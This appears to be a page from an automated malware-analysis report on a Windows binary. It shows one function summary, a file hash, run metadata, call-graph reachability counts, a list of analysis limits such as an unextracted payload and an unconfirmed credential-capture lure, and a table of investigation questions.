read from the file·function

0x140004620

HTTP request builder helper using string operations and global state

in http_request_builder

bytes sha256 67a0649b48521e063bd7351be4238cf749379976457500c5bd9b6543ffc40a7f

Run details

Run

model claude-opus-4-6effort mediumduration s 115 min 27 stokens 255,803tool uses 337

Produced with

skills

research-analysis: 0cf735649e42
research-corpus: 7defa8d3b7d1
research-ledger: 7691f34d9cd1

tools

—

snapshot taken at

2026-10-01 20:38:11.542859+00

Other sections of the report

Report keys this renderer has no special layout for, shown as written.

created · 2026-10-28T22:36Z

2026-10-28T22:36Z

reachability · 1 items

file	graph	roots	internal	reached	unreached	unreached status
Original	native_callgraph.dispatch.json		2508	692	1816	possibly_reached
L0 · roots entry 1 tls callback 2

limits · 1 items

file

roots searched

library filters

passes run

unresolved in reached code

not claimed

Original

entrytls_callbacks

capa_libraryfunction_id

Unpacked file 1 payload not extracted or analysed. WebView2 lure HTML/JS content not recovered from static analysis. Credential capture mechanism not confirmed. 12 FLOSS decoded strings not mapped to callers. 5 registry IOC candidates not triaged. URL roles not confirmed for 11 URL IOC candidates.

questions · 5 items

id	question	status	evidence	unknowns
Q1	what is the file	answered	E13, E17, E2	none
Q2	what does it do	partial	E1, E3, E5, E6, E7, E8, E9, E19, E20	U1U3U4U5
Q3	configuration and IOCs	partial	E14, E21	U2
Q4	classification	answered	E1, E2, E3, E5, E7, E13, E19, E20	none
Q5	unknowns and limits	answered	E13, E21	U1U2U3U4U5U6U7